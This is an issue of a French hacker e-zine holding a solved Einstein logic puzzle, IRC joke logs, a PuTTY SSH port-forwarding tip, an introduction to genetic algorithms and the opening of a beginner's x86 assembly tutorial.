                |  Supposition impossible:         |
               ||  "Le fumeur de Whinfield boit de ||
              |||   la bire" && [ le Norvgien    |||
             ||||   FUME DU DUNHILL!!!!!!]         ||||
              |||   .--------.       .--------.    |||
               ||   |   OK   |       | Cancel |    ||
                |   '--------'       '--------'    |
                 \________________________________/

Conclusion: cette supposition est fausse

2/

+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvgien      Allemand       Anglais        sudois        Danois
  *******        *******        lait           caf           th
  Dunhill        Rothmanns      *******        Marlboro       *******
  *******        cheval         *******        chien          *******


ici ,c'est plus facile : le Sudois n'a pas de voisin buveur d'eau :)

Conclusion: cette supposition est fausse

----- \
------ \  Grande conclusion : Le Sudois ne fume pas de Marlboro
------ /  (ni du Dunhill, ni du Rothmanns, ni du Pall Mall)
----- /   donc il fume du Whinfield :D

---------------
Rappel:
- Le Sudois a un chien.
- Le Danois boit du th.
- Le fumeur de Pall Mall a un oiseau.
- Le fumeur de Marlboro habite  ct de celui qui a un chat.
- Le fumeur de Whinfield boit de la bire.
- LAllemand fume des Rothmanns.
- Le fumeur de Marlboro a un voisin qui boit de leau.
---------------

voyons si on peut trouver des nouvelles conclusions :
[Le  Sudois  fume  du  Whinfield] => [Le sudois boit de la bire] on remarque 
vite, qu'on sait pas mal de chose sur le Sudois:
-il a un chien
-il fume du Whinfield
-il boit de la bire
-il est Sudois :)

Maintenant  regardons    notre   dessins  pour voir ou pourra-t-on l'installer:


impossible        impossible    impossible       impossible      ici 
cause (immeuble   cause :       cause (immeuble  cause :        possible
pris) |         (chien!=cheval) pris) |        (bire!=caf)      |
      |                |              |                |           |
      |                |              |                |           |
     \|/              \|/            \|/              \|/         \|/
      *                *              *                *           *
+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvgien      *******        Anglais        *******        *******
  *******        *******        lait           caf           *******
  Dunhill        *******        *******        *******        *******
  *******        cheval         *******        *******        *******

Comme vous voyer le seul endroits possible c'est la maison  blanche :D
Donc on le met la bas :

+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvgien      *******        Anglais        *******        Sudois
  *******        *******        lait           caf           bire
  Dunhill        *******        *******        *******        Whinfield
  *******        cheval         *******        *******        chien

il est temps pour installer le Danois , non?
une rapide rflexion nous  permet  de conclure qu'il ne peut tre que  dans  la  
maison  bleu  ( c'est la seul  parmis  des  vides  a  avoir  un  rglement  qui 
autorise le th :) , ouf , un autre problme rsolu :)

reste qu'une seule maison vide et  un seul SDF (l'Allemand) , ba on a  que  les 
marier (pis  faire une Hot Dog Party (non, non , pas Partouz)  et  inviter tout 
les voisins :)
voici comment est devenu notre shema :

+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvgien      Danois         Anglais        Allemand       Sudois
  *******        th            lait           caf           bire
  Dunhill        *******        *******        Rothmanns      Whinfield
  *******        cheval         *******        *******        chien


#Regardons et concluons :

- tout  le  monde bois quelque chose que le Norvgien donc pour qu'il ne pleure 
  pas , donnons lui de l'eau :).
- comme on a donner de l'eau au Norvgien , on donnera du  Marlboro a  son seul 
  voisin le Danois (car "Le fumeur de Marlboro a un voisin qui boit de leau").
- maintenant tout le monde fume.. a pars l'Anglais , donc donnons  lui  ce  qui 
  nous reste de cigarettes: du Pall Mall.
- [Le fumeur de Pall Mall a un oiseau]==> on dirai que l'Anglais veut  un  ptit 
  zouille zouille (oiseau).

#voyons ce qui a t fait dans le dessin:

+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvgien      Danois         Anglais        Allemand       Sudois
  eau            th            lait           caf           bire
  Dunhill        Marlboro       Pall Mall      Rothmanns      Whinfield
  *******        cheval         oiseau         *******        chien

brrr...le suspense augmente : QUI A CE P**** DE POISSON ??????!!!!

mais Einstein tait la pour nous aidez :

Session Start: Sat Nov 29 19:19:08 2003
Session Ident: #[Gnies&co]
[19:19] *** Now talking in #[Gnies&co]
[19:19] *** Topic is '-=[Gnies&co]=- www.Genies.co.fr  
        | <3inst31n>je cherche des pics pour adulte, aider moi ,SVP!!! '
[19:19] *** Set by Pascal on Sat Nov 29 12:49:29
[19:19] <SeriousMan> lu
[19:19] *** Quits: Pascal (Pascal@Recycled-irc-1C4270D5.31337.madchat.org)
[19:25] *** hERMOL7 is now known as hERMOL
[19:26] <+hERMOL> !halfop
[19:26] *** GenieBot sets mode: +h hERMOL
[19:29] *** Joins: 31nst31n (Einstein@Recycled-irc-1C427-P45.31337.mindkind.org)
[19:29] *** GenietBot sets mode: +v 31nst31n
[19:30] <+31nst31n> lu tt le monde
[19:31] <+DalKiT> lu
[19:32] <SeriousMan> lu
[19:32] <+31nst31n> comment ca va, serious
[19:33] <SeriousMan> mal, trs mal, chui bloque dans ta putin d'enigme
[19:33] <+31nst31n> si tu veut jt'aide 
[19:33] <SeriousMan> ok ,t'a pas d'indices ?
[19:43] <+31nst31n> hmmm...laisse moi pense
[20:43] <+31nst31n> voit a:
[20:43] <+31nst31n> Le fumeur de Marlboro habite  ct de celui qui a un chat.
[20:44] *** Quits: 31nst31n (Einstein@Recycled-irc-1C427-P45.31337.mindkind.org)

oui,oui celui qui fume du Marlboro habite a ct de celui qui  a un   chat  donc 
celui qui a un chat c''est le Norvgien :)     

                      
                                                                  (.) /___c'est une parabole
CONCLUSION:                                                        |  \   
      **             **             **             **             **      
     /. \           /  \           /  \           /  \           /  \     
   /      \       /  ,   \       /  ,   \       /  ,   \       /  ,   \   
 /          \   /  ,    ,  \   /  ,    ,  \   /  ,    ,  \   /  ,    ,  \ 
+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune  _  | |  bleu    _ | |  rouge  _  | |  verte   _ | |  blanche _ |
|        |o| | |         |o|| |        |o| | |         |o|| |         |o||
+--------|-|-+ +---------|-|+ +--------|-|-+ +---------|-|+ +---------|-|+
  Norvgien      Danois         Anglais        Allemand       Sudois     
  eau            th            lait           caf           bire       
  Dunhill        Marlboro       Pall Mall      Rothmanns      Whinfield   
  chat           cheval         oiseau            /|\         chien       
                                                   |                      
                                                   |                      
                                          ________/                       
                                         /                                
                                         |                                
                                         |                                
                                         |                                
                                        /  |\                             
                            |\             | \                            
                            \ \  M  i  n  d| o\                           
                             ) \-----------|   )                          
                             ) / K  i  n  d| _/                           
                            / /            | /                            
                            |/             |/                             
                                                                          



c'tait pas si difficile ,non ?
je  suis  fier  de moi,je fait parti des 2% de la population mondiale :) je  me 
suis  amuser  a  voir  mon QI en se basant sur ce pourcentage :
j'ai  chercher  un  tableau  ou courbe pour la classification de l'intelligence 
avec des pourcentage , le voici :


+------------+---------------------------------+--------------------+
|    QI      |         Classification          |   pourcentage de   |
|            |                                 |    la population   |
+------------+---------------------------------+--------------------+
|   >=130    |     Trs suprieur              |    2.2%            |
+------------+---------------------------------+--------------------+
|  120-129   |     Suprieur                   |    6.7%            |
+------------+---------------------------------+--------------------+
|  110-119   |     Normale suprieur           |    16.1%           |
+------------+---------------------------------+--------------------+
|  90-109    |     Normale                     |    50.0%           |
+------------+---------------------------------+--------------------+
|  80-89     |     Normale mdiocre            |    16.1%           |
+------------+---------------------------------+--------------------+
|  70-79     |     Cas limit                  |    6.7%            |
+------------+---------------------------------+--------------------+
|  =<69      |     Arriration mentale         |    2.2%            |
+------------+---------------------------------+--------------------+


on dirait que j'ai ou bien un QI de Swarzeneger ou un QI de >=130  :D bien  sur 
ce rsultat est totalement faux car:
1/il se peut que ce que prtendait Einstein est faux
2/mme  s'il  est vrai, le pourcentage ne peux pas tre vrai car l'intelligence 
  des gens a "srement" augment depuis plus qu'un 1/2  sicle  ( j'entend  vos 
  rire :D )
3/ce qu'on  utilise dans  cet  nigme  c'est la logique , mais ce que mesure le 
  QI c'est la mmoire , mathmatique, manipulation de mots (ou quelque chose de 
  sa) et... logique :)


Remarque derniere minute: j'ai trouv cette enigme ici:
http://ledragounet.free.fr/drag22.pdf , il affirmait que "Einstein, qui a conu 
cette  nigme au sicle dernier, prtendait que 98 % de la population  mondiale 
tait  incapable de  rsoudre  ce  problme" mais "a ma surprise" , j'ai trouv 
qu'en  pyrofreak #10 ,  ils   disaient  "Selon  Einstein,  "70%"  des gens sont  
INCAPABLES de  rsoudre le test  suivant",  ce qui est plus logique (c'est vrai 
que l'enigme n'est pas facile , mais elle  n'est  pas trs difficile non plus), 
donc j'ai cherch d'autres  sources  o j'ai  trouv la mme affirmation que le
premier liens , trange.



_______________________
"Imagination Is more Important than Knowledge."__Albert Einstein***
"The best way to predict the future is to invent it"__TrouVez Chez Mindkind********
"we are'nt arrogant, we are just better than you"__TrouVez Che< Mindkind***********
"Si on vous dit que chez nous il rgne mauvaise humeur, rpondez simplement que cela
vient des hormones..."__Madchat Spam************************************************

.----------------------------------------------- - - --- - ---
| Seriousman   [Seriousman at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



-> Putty.exe, ez ssh tunnel
  
a vous  tente de  bouncer a  partir d'une  box que  vous avez   un accs shell
dessus. Malheureusement a vous tente pas d'installer un proxy ou une merde  du
genre.

Eh bien si ya ssh ya moyen de  faire un "ssh tunnel". En gros c'est de  prendre
la connexion ssh comme un proxy (ou tunnel), le tout sans interfr la session.

Comment faire? Avec putty.exe c'est simple :
Loader  votre  session (sans  se  connecter), et  aller  dans Connection,  SSH,
Tunnels. En bas dans  Source port criver 6969  par exemple, et destination  le
IP:PORT de  la destination.  Vous cochezz local. Ensuite  vous cliquer  Add. Et
voila! Connecter vous sur  la box en SSH,  et ensuite vous pouvez  vous plugger
sur votre localhost 127.0.0.1  sur le port 6969  pour avoir le tunnel  de votre
ssh (en ayant cocher  Local a va faire  que le port est  accessible localement
seulement).

Par exemple si  vous mettez 194.134.7.195:6667  comme serveur et  que vous vous
connecter sur 127.0.0.1:6969  dans votre client  IRC, vous allez  vous ramasser
sur le serveur  IRC du IP,  mais avec le  host de la  machine a laquelle  votre
session SSH est  ouverte. De plus,  vous pouvez utiliser  la session SSH  comme
d'habitude, le tunnel est "transparent".




    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__

|           mkd.10  Mendel et ses bytes
:                              aka 'les algorythmes genetiques'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |

I. Introduction
Il  existe  des  problmes pour lesquels on ne peut  pas  trouver  de  solution 
optimale parcequ'il n'existe pas d'algorithme pour la  trouver  ou parceque les 
algos existants sont trop coteux. Mais  comme  vous vous en doutez, on ne veut 
pas lacher l'affaire, il nous FAUT la solution ou le truc qui s'en rapproche le 
plus. C'est  a que servent les algorithmes gntiques dont nous allons parler 
dans cet article... (comment vous  aviez  devin ?)  si  vous  n'aimez  pas  la 
thorie, que vous avez mal  la tte ou  que  vous devez nourrir votre lmurien 
dans 2mn  : goto end;

On va prendre un exemple de cas qui arrive souvent :
on a une "boite noire" (f)  qui on passe une valeur (x) et qui  nous  retourne 
une autre valeur en change (y). Mais on ne  connait  pas  f  pour  une  raison 
quelconque (vous n'avez pas les  sources de f, f est quelque part sur le rseau 
sur une machine scuris, ... [compltez les pointills comme vous le sentez]).
Notre problme c'est qu'on veut trouver la valeur de x qui  donne  un certain y 
sans rien savoir sur f... La  premire  solution barbare c'est de passer toutes 
les valeurs de x possibles  f et sprer obtenir en retour le y qu'on  veut... 
videmment cette solution ne marche pas ds que le  nombre  de  x  possible est 
grand ou que f est difficilement calculable.


On parlait pas d'algos gntiques par hasard ?

I. Bases

On va commencer par initialiser quelques solutions possibles  alatoirement. On 
commence donc avec x1, x2, ..., xN qui sont des x possibles parmi les solutions 
mais  pris  totalement  au hasard. On demande  f les y qui correspondent  ces 
x... On se retrouve donc avec f(x1), f(x2), ... f(xN).

La deuxime chose essentielle c'est qu'on doit avoir une  fonction "g" qui nous 
donne la qualit d'une solution. Par exemple plus une solution est proche de ce 
qu'on cherche, plus g(xI) va retourner une petite valeur.C'est ce qu'on appelle 
la  fonction  d'valuation.  Si  vous  ne  pouvez pas en trouver une pour votre 
problme ===> goto end;  Cette  fonction  sert   classer les solutions qu'on a 
sous la main de la meilleure  la moins bonne.

bon a fait pas mal de blabla tout a, je vous saoule ? ok.  on  va  prendre un 
petit  exemple  concret :  on  va  se  prendre  un  f  tout bte pour l'exemple 
f(x) = 2*x (je vous rappelle que  nous on NE CONNAIT PAS f sinon aucun intert) 
On veut trouver  le  x  pour  lequel  f(x) = 100  il   nous  faut  la  fonction 
d'valuation g(x) qui dit si x est une bonne solution... dans  ce  cas ci c'est 
simple une solution est  bonne  si  elle  est  proche de 100 donc on regarde la 
distance entre 100 et f(xI) :
g(xI) = | 100 - f(xI) |
Plus on va se rapprocher de ce qu'on cherche (100),  plus  g  va  retourner une 
petite valeur donc c'est ok.

On initialise alatoirement quelques x : 2, 5, 10, 7, 24, 38
avec notre g, on value leur qualit et on les classe :
1. 38
2. 24
3. 10
4. 7
5. 5
6. 2

(ok ok j'avoue mon exemple est dbile mais c'est juste pour  expliquer hein)

Quel intert ? vous trouvez a idiot ?
bah maintenant on va faire se reproduire nos solutions ! 
(non je n'cris pas sous l'emprise de substances psychotropes 
;o)

II. Main

Une  fois  qu'on  a  le classement de nos solutions de la  meilleure  la moins 
bonne, on va slectionner les meilleures solutions pour qu'elles deviennent les 
parents des solutions  suivantes... (obscur ? read_next();)  D'aprs  ce  qu'on 
vient de dire, on va donc se prendre quelques solutions parmi les  meilleures : 
38, 24, 10 Ce sont les parents de nos solutions suivantes.

On va maintenant voir comment leur faire faire des enfants : Comme  le titre de 
l'article est "les algorithmes gntiques",  il  va  bien  falloir  les  placer 
quelques part les gnes : 
read_next(); ! On va considrer les solutions qu'on a  slectionnes  comme des 
chromosomes...dans ce cas ce  sont  des  nombres  qui  ont  une  reprsentation 
binaire, donc on peut les 
voir comme :
38 : 0 1 0 0 1 1 0 
24 : 0 0 1 1 0 0 0
10 : 0 0 0 1 0 1 0
c'est marrant a ressemble  un chromosome comme a non ?
si vous avez suivi 2 3 cours de biologie  vous  vous  rappellez  peut  tre  de 
comment se combinent 2 chromosomes...
On tire au sort 2 parents : on va dire 38 et 24
on veut un truc qui fasse 1 0 0 1 1 0 + 0 1 1 0 0 0 = deux 
enfants...
bah il suffit de prendre un indice dans le papa :
0 1 0 0 1 1 0
       ^      
a nous fait 2 bouts de chromosomes : 1 0 0 et 1 1 0
on fait pareil avec la maman de manire  pouvoir faire des enfants  de la mme 
taille que les parents :
0 0 1 1 0 0 0
       ^
maintenant il suffit de recombiner 1 morceau du papa avec 1 morceau de la maman 
* 2 et on obtient 2 enfants :
0 1 0 0 + 0 0 0 = 0 1 0 0 0 0 0
0 0 1 1 + 1 1 0 = 0 0 1 1 1 1 0
on repasse dans la reprsentation comprhensible (phnotype  pour  les  fans de 
biologie) :
1 0 0 0 0 0 = 32
0 1 1 1 1 0 = 30
bon c'est pas encore super mais on peut voir que on va  vers  une  amlioration 
des solutions...On recommence l'opration  plusieurs  fois jusqu' ce qu'on ait 
assez d'enfants.

Par contre on a oubli un truc  qui  se  passe  dans  la  nature  (cf  cours de 
biologie toujours [hh comme quoi ya des  trucs  qui servent l o on l'attend 
pas]). pendant les reproductions, il arrive que par magie, un lment d'un gne 
change spontanment...  on  appelle  a  la  mutation.  dans  notre  algorithme 
gntique, on va donc fixer une probabilit qu'un  enfant  soit  victime  d'une 
mutation  (yen   a  sur  #mindkind.org  qui  ont  du  muter  plus   d'une  fois 
d'ailleurs... anyway : 
read_next();) par exemple, on avait fait un enfant 
0 1 0 0 0 0 0 on tire un indice au hasard 
(par exemple 3) => l'enfant mute et devient 0 1 1 0 0 0 0 !
Il faut cependant que la probabilit que a arrive ne soit pas trop importante, 
sinon nos reproductions ne vont rien amliorer du tout... souvent on prend 
p(mutation) = 0.05 ou 0.1  la rigueur... au  dessus  c'est  que  vous  habitez 
tchernobyl et vous aurez des enfants loups :/

On rajoute tous les enfants qu'on a obtenu  avec  les  parents.  on  refait  un 
classement et on slectionne les N meilleurs (ici 6 puisqu'on a commenc avec 6 
solutions au dbut) et on recommence tout a depuis le dbut !
On s'arrte quand on a trouv ce qu'on cherchait...
pour certains problmes trs difficiles pour lesquels  une  solution  approche 
suffit, on s'arrte au bout d'un temps  fix  ou  quand  la  meilleure solution 
trouve est assez proche de celle cherche.

III. Rsum
Comme tout a n'est pas trs clair un petit pseudo code ne fait pas de mal :

population = initialisation_aleatoire();

while(bonne solution pas dans population) {
  faire un classement de population avec la fonction d'valuation;
  parents = meilleurs de population;
  enfants = rsultat de la reproduction des parents; // ne pas oublier 
                                                     // de faire quelques 
						     // mutations
  population_intermediaire = parents + enfants;
  faire un classement de population_intermediaire avec la fonction d'valuation;
  new_population = meilleurs de population_intermediaire;
  population = new_population;
}

Il existe pas mal de variantes de cet algorithme de base... notamment au niveau 
des mthodes de slection des parents ou  de  la  nouvelle population. On n'est 
pas oblig de toujours  choisir  les  meilleurs :  on  peut  tirer  au sort des 
chromosomes en fonction de leur place au classement (du genre : 1er  a  30%  de 
chances d'tre tir au sort, le 2me 20%, ...)  A  vous  de  voir  comment vous 
pouvez faire varier des paramtres,  la  faon  de  slectionner des individus, 
leur mthodes de reproductions...

IV. Conclusion

merci  ceux qui ont lu jusqu'ici... j'spre que j'ai pas t trop obscur ! Si 
j'ai attis votre curiosit c'est dj a :o]  Pour  ceux  qui  sont  pas  trop 
btes,  vous  remarquerez  que  les  algorithmes  gntiques sont applicables  
pleins de trucs :
imaginez que vous cherchez une chaine de caractres  (password  ou  autre),  il 
suffit de remplacer les 0 et les  1  par  des  caractres et a revient au mme 
(par contre  la  fonction  d'valuation "g" peut tre plus difficile  trouver)
Les algos gntiques ne sont pas magiques non plus... il n'y a aucune assurance 
de trouver la bonne solution ! votre algo peut tourner 10^32 annes sans jamais 
trouver la solution. mais dans  la plupart des cas du style de celui du dessus, 
avec un poil de  chance,  il  s'arrte  vite  et  donne  des rsultats pas trop 
mauvais. si a vous a plu, faites le savoir et peut  tre  que  je  coderai  un 
petit truc en C pour le prochain zine qui illustre tout a de manire pratique.

 
   

.----------------------------------------------- - - --- - ---
| TheTurtle   [theturtle at email2me dot net] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



  < Mindkind fun nights on IRC >

  [00:46] <Wyzeman> LastCall_ envoye moi des biscuit au chocolat
  [00:46] <LastCall_> hum
  [00:46] <LastCall_> tu code?
  [00:46] <LastCall_> haha
  [00:46] <Wyzeman> non, jai faim
  [00:46] <LastCall_> 00:46] DCC Send of biscuit_ppites_chocolat to
                      Wyzeman: Unable to open file
  [00:46] <LastCall_> marche pas
  [00:47] <LastCall_> connerie de mirc
  [00:47] <LastCall_> hahaha
  [00:47] <Wyzeman> va sur #aide
  [00:47] <LastCall_> haahaha
  [00:47] <LastCall_> [00:47] * Now talking in #aide
  [00:47] <LastCall_> [00:47] <LastCall_> ail jai un gros problme
  [00:47] <LastCall_> [00:47] <LastCall_> mon mirc arrive pas a sender des
                                          biscuits a mon ami
  [00:47] <LastCall_> [00:47] <LastCall_> quoi faire?
  [00:47] <LastCall_> hahah
  [00:47] <ticker> lol
  [00:47] <LastCall_> [00:47] <LastCall_> ca dit DCC Send of
                      biscuit_ppites_chocolat to Wyzeman: Unable to open file
  [00:48] <LastCall_> [00:48] <JP`> LastCall_ le 'directory' du fichier que tu
                      essaie d'envoyer n'est pas bon ou l'extension du fichier
                      est le problme
  [00:48] <LastCall_> HAHAHAHA
  [00:49] <Wyzeman> quote
  [00:49] <c4ndu> esti qui sont stupide 
  [00:49] <LastCall_> 0:49] <LastCall_> ben
  [00:49] <LastCall_> [00:49] <TrEt][CS> ahah
  [00:49] <LastCall_> [00:49] <LastCall_> mes biscuits sont dans l'armoire,
                      faudrait jles apporte proche de lordi?
  [00:49] <LastCall_> hahahahaha
  [00:49] <LastCall_> ROFLMAO
  [00:49] <ticker> lol
  [00:50] <Wyzeman> mindkind, votre divertissement de fin de soiree
  [00:50] <Wyzeman> mindkind, un quote attend pas lautre :)
  [00:50] <LastCall_> 0:49] <TrEt][CS> JP' tu voit bin quit niese
  [00:50] <LastCall_> [00:50] * You were kicked by X ((JP) tu connais le complexe d'eudype?)
  [00:50] <LastCall_> [00:50] * Attempting to rejoin channel #aide
  [00:50] <LastCall_> [00:50] * Unable to join channel (address is banned)
  [00:50] <LastCall_> HAHAHA

  < ----------------------- >




    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__

|           mkd.11  intro  l'asm
:                              aka 'au debut, ben yavait l'asm'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |


TABLE DES MATIRES

1.0...................................INTRO
1.1............FONCTIONNEMENT.DU.PROCESSEUR
1.1.1......................LANGUAGE.MACHINE
1.1.2.............................RGISTRES
1.2............FONCTIONNEMENT.DE.LA MMOIRE
2.0................PROGRAMMER.EN.ASSEMBLEUR
2.1.....................OUTILS.NESCESSAIRES
2.1.1...................SYNTHAXE.DES.OUTILS
2.2.......PRSENTATION.DE.COMMANDES.DE.BASE
2.3...........ANALYSE.D'UN.VRAI.CODE.SOURCE
2.4.............................APPROFONDIR
2.5..............................CONCLUSION





1.0) INTRO

Cet article s'adresse  des dbutants. Si vous avez dj le moindrement cod en
assembleur, je vous conseil de ne pas perdre votre temps  lire ce qui suis, ce
sera sans doute du dj vu pour vous.

L'assembleur est un language de programmation de bas niveau.  En   fait,   plus
bas que l'asm c'est carrment le language machine,  c'est    dire  les  seules 
instructions que le processeur  comprend (  voir  plus  loin ).  L'avantage  de 
programmer  en  assembleur  c'est  que  les progs cods directement en asm sont 
beaucoup plus rapides  executer que les programmes cods en c++, en java ou en 
n'importe  quels  autres  languages  on  s'en  sacre.  Une des raisons de cette 
rapidit  d'xcution  rside  dans  le compilateur. En effet, quand on code de 
quoi en c++,  le  compilateur  doit  convertir  toutes  les   insctructions  en 
assembleurs,  puis  par la suite le convertir en language machine tandis que si 
on code en asm, le compilateur  a  juste  besoin  de  le  convertir en language 
machine. Jusque l a change rien puisque les 2 finissent  en  language machine 
mais les compilateur de c++, quand ils convertissent des  trucs  en assembleur, 
ils rajoutent pleins d'instructions  inutiles  au  fonctionnement  de  base  du 
programme (  c'est  comme faire un document html avec un diteur html ).Tous le 
code qui rajoute va ralentir l'excution du programme.

Il  y  a  plusieurs  autres  avantages de cod directemet en  assembleur.   Par
exemple, l'assembleur permet un accs direct aux prifriques  de  la  machine.
C'est pourquoi plusieurs applications qui utililes les diffrents  prifriques
( carte de son, carte vido... ) sont cods en partie en asm tels  que des jeux
ou des systmes d'exploitations. 

Pour pouvoir coder en assembleur, il faut  une  trs  bonne   connaissance   du
fonctionnement de l'ordinateur  l'interne. C'est  dire le  fonctionnement  du 
processeur  (surtout)  et  de  la  mmoire.  La suite de l'article va donc tre 
consacre  un overview du fonctionnement gnral du processeur et aussi de  la 
mmoire. 





1.1) FONCTIONNEMENT GNRAL DU PROCESSEUR


1.1.1) LANGUAGE MACHINE :
 
Chaque processeur est dot d'un set d'instruction. Ces  instructions  sont  les 
seules  choses  qu'il comprenne. Les diffrents processeurs 32 bits ont environ
tous  les  mme  sets  d'instructions  pour  qu'ils soient tous compatible avec 
divers prifriques de diffrentes marques sur  le  march. C'est l'ensemble de 
ces instructions qui forme le language machine. Pour bien comprendre jettons un 
coup d'oeil  l'image nomme "Instrucion set" disponible dans la  version  full 
du zine.
 
Chaque commande en assembleur est associ  une code.  titre   d'exemple,   la
commande  PUSH AX en assembleur est dfini par le code 50 (5e ligne, 0e colone)
dans le set d'instruction du processeur. Ce qui veux dire qu'une fois convertit 
en language machine, l'instruction PUSH AX que j'ai crite sera transforme par 
50.  Le processeur va savoir que lorsqu'il voit 50, il doit faire PUSH AX. Mme 
chose  avec chaque instruction asm ( exemple 2 : LOOP sera traduis par E2 ), et 
ainsi de suite...


1.1.2) RGISTRES : 

La  2e  chose  essentielle    savoir  lorsqu'on  code en assembleur  c'est  le 
fonctionnement  des  rgistres.  Pour simplifier le tout, je vais commencer par 
les  processeurs  16  bits.  Chaque  processeur 16 bits contient 4 rgistres de 
bases ( AX, BX, CX, DX ) et chaque rgistre de base est spar en 2 : Low level 
et  High level ( AH, AL, BH, BL, CH, CL, DH, DL ). Puisqu'un dessin vaut milles 
mots...

Exemple avec le rgistre AX

	 _____________
	|             |       
	| AX(16 bits) |
	|_____________|         
	|     |       |
	| AH  |  AL   | <---- 2 sous-rgistres de 8 bits chaqun
	|_____|_______|


	En  32  bits,  c'est  la mme  chose  exept que les rgistres de bases 
	sont appels EAX, EBX, ECX, EDX ( extended...) 


Exemple avec le rgistre EAX


	 ___________________________________________
	|                                           |
        |              EAX ( 32 bits )              |
        |___________________________________________|
        |                     |
        |    AX ( 16 bits )   |
        |_____________________|
        |          |          |
        |   AH     |    AL    | <------ 8 bits chacun
        |__________|__________|



En assembleur, chaque rgistre de base est utilis comme une  variable  pouvant 
contenir une seule donne numrique. Pour stocker des chiffres il n'y  a  aucun 
problme mais pour stocker un caractre il va falloir utiliser son  code  ASCII 
correspondant ( voir ASCII.jpg dans la version full du zine ).



*****************************ENRICHISSEMENT************************************
									         
 Il existe galement 5 autres rgistres qu'on appelle "Rgistre d'offset". Il   
 s'agit de BP, SP, IP, SI et DI. videmment en 32 bits chaques rgistres sera   
 prcds d'un E.  							 	 
										 
 - SI : Source Index								 
   Ce rgistre est associ au rgistre de segment DS ( voir plus loin ). 	 
   Principalement utilis lors d'opration sur des chanes de caractres.	 
										 
 - DI : Destination Index							 
   Ce rgistre est associ au rgistre de segment DS ou ES. Principalement 	 
   utilis lors d'opration sur des chanes de caractres aussi.		 
										 
 - BP : Base Pointer								 
   Ce rgistre est associ au registre de segment SS pour accder aux donnes 	 
   de la pile lors d'appels ( CALL ) de sous-programmes (fonction).		 
										 
 - SP : Stack Pointer								 
   Ce rgistre est associ au registre de segment SS pour indiquer le dernier 	 
   lments de la pile.							 
										 
 - IP : Instruction Pointer							 
   Ce rgistre est associ au registre de segment CS pour indiquer la prochaine
   instruction  executer.							 
										 
										 
 Les rgistres de segments sont utiliss pour stocker l'adresse de dbut 	 
 d'un segment ( dbut d'instruction d'un programme, du dbut de la pile ou	 
 du dbut des donnes ).							 
 										 	
 - CS : Code segment								 
   Ce registre indique l'adresse du dbut des instructions d'un programme ou 	 
   d'une fonction.								 
										 
 - DS : Data segment								 
   Ce registre contient l'adresse du dbut des donnes de vos programmes.	 
										 
 - ES : Extra segment								 
   Ce registre est utilis par dfaut par certaines instructions de copie. 	 
   En dehors de ces instructions, vous pouvez l'utiliser comme vous voulez.	 
										 
 - SS : Stack segment								 
   Pointe vers la pile.							 
										 
										 
 Les processeurs 32 bits ( rcents ) et 64 bits ont quelques autres rgistres	 
 qui ont t ajout pour amlior la rapidit du traitement des donnes.	 
										 
*******************************************************************************



1.2 ) LA MMOIRE


Une  connaissance  de  base  du  fonctionnement  gnral  de  la   mmoire  est
ncessaire pour commencer  programmer en assembleur. La mmoire se  divise  en 
deux grosses parties ; la pile ( stack ) et le tas ( heap ).

La pile sert gnralement  entreposer les variables locals  simples  dclares 
dans  un  programme  ou    entreposer  les  adresses  de  variables  complexes 
( ex. tableau ) qui pointes vers le heap. La grosseure de la pile  dpend de la 
facon dont le prog a t compil. Je ne vais pas donner un cours complet sur le 
fonctionnement de la mmoire mais ce qui est important  retenir pour coder  en 
asm c'est que lorsqu'on stock une valeur quelquonque  dans  la  pile,  celle-ci 
vient se mettre par dessus lautre valeur d'avant, donc  pour  utiliser  l'autre 
valeur d'avant il va falloir d'abbord dpiler la nouvelle valeur qu'on vient de 
rajouter. C'est le mme principe qu'une pile d'assiettes de diffrente couleur. 
Si on en met une rouge, ensuite une verte par dessus,  ensuite  une  jaun e par 
dessus, pour aller chercher la rouge du dbut il va falloir d'abbord enlever la 
jaune, puis la verte. C'est tout ce qui est  important de savoir sur la mmoire 
pour une programmation assembleur basic.




2.0 ) PROGRAMMER EN ASSEMBLEUR 


Ce qui faut retenir en assembleur et non dans les autres  languages  c'est  que 
l'asm est un language de bas niveau donc il ne faut pas se casser la  tte.  Il 
n'existe  pas  vraiment  de  fonction complexe dj dfini comme en c++ tel des 
for, while, if-else, etc... Chaque fonction en assembleur  jou  un  seul  rle, 
c'est en parti  cause de cel qu'un petit programme bien simple  en  asm  peut 
prendre facilement 1000 lignes de code tandis qu'il en aurait pris 50 en c++ ( 
peine exagr). 



2.1 ) OUTILS NESCESSAIRES


Pour commencer, a va vous prendre un compilateur et un linkeur  pour  compiler 
